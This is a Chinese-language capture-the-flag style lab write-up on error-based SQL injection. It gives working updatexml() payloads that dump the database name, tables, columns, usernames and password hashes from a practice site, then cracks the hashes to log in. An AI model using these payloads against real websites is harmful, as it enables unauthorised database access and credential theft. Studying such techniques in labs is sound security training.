首先我们先来了解一下报错注入的基本概念
1:报错注入定义
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
2:报错注入前提
页面上没有回显点,但是必须有SQL语句执行错误的信息。
3:报错注入优缺点
优点:不需要显示位,如果有显示位建议使用union联合查询。
缺点:需要有SQL语句的报错信息。
4:构造报错注入的基本步骤
- 构造目标查询语句
- 选择报错注入函数
- 构造报错注入语句
- 拼接报错注入语句
5:常见的报错注入函数
updatexml();floor();extractvalue();等等,待会靶场需要使用的函数就是updatexml();
报错注入基本概念了解后就可以开始了
如图是靶场环境,根据网站的URL可以很明显的知道可能存在注入
首先我是先通过 and 1=1 和 and 1=2 来判断是否存在注入和注入类型,但是当我输入and 1=2 时发现网页既然没有出错,还是和 and 1=1 时一样
因为靶场已经告诉你这是报错盲注,所以直接开始使用报错注入语句
1:爆破数据库1' and updatexml(1,concat(0x7e,(select database()),0x7e),1 )--+ 0x7e是~的16进制,concat()语句将多个字符串连接成一个字符串 , --+ 为空格
2:爆破数据表' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1),0x7e),1 )--+爆出了两张数据表,猜测管理员等信息在member表中 注意要爆出notice表需要把limit0,1改为limit1,1
3:爆破字段' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member' limit 0,1),0x7e),1 )--+ 出了name,password 还有status字段
4:爆破字段内容' and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1)--+
用户名有两个都是 mozhe
密码爆出两个使用MD5解密工具,但是当你去解密时你会发现解密不出来,因为密码长度为31位所以无法解密,但是MD5长度一般为16位或32位,猜测可能是最后一个字符没显示,在这里利用substr函数进行字符串截取
' and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1)--+
所以将密码拼接一下在进行解密 528469 和 480132
拿到密码后进行登录拿到了key
今天的内容就到这了,点个赞在走吧^0^